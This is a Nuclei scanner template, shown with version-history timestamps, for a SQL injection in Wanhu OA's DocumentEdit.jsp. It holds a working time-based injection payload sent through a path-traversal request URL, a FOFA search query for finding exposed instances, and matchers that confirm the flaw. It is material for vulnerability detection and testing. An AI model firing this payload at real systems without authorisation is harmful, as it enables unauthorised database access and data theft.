nuclei-templates/http/vulnerabilities/wanhu/wanhu-documentedit-sqli.yaml

32 lines
1.2 KiB
YAML
Raw Normal View History

2023-09-06 19:45:50 +00:00
id: wanhu-documentedit-sqli
info:
name: WanhuOA DocumentEdit.jsp - SQL Injection
author: SleepingBag945
severity: high
description: |
The Wanhu OA DocumentEdit.jsp file has a SQL injection vulnerability. An attacker can perform SQL injection into the database by sending a special request package and obtain sensitive information on the server.
reference:
- http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20DocumentEdit.jsp%20SQL注入漏洞.html
- https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20DocumentEdit.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
metadata:
max-request: 1
verified: true
fofa-query: app="万户网络-ezOFFICE"
tags: wanhu,sqli
2023-09-14 19:11:38 +00:00
2023-09-06 19:45:50 +00:00
http:
- raw:
- |
2023-09-14 19:11:38 +00:00
@timeout: 15s
GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1';WAITFOR%20DELAY%20'0:0:7'-- HTTP/1.1
2023-09-06 19:45:50 +00:00
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
2023-09-14 19:11:38 +00:00
- 'duration>=7'
2023-09-06 19:45:50 +00:00
- 'status_code == 200'
2023-09-14 19:11:38 +00:00
- 'contains_all(body, "iSignature", "DoYFSignature")'
2023-09-06 19:45:50 +00:00
condition: and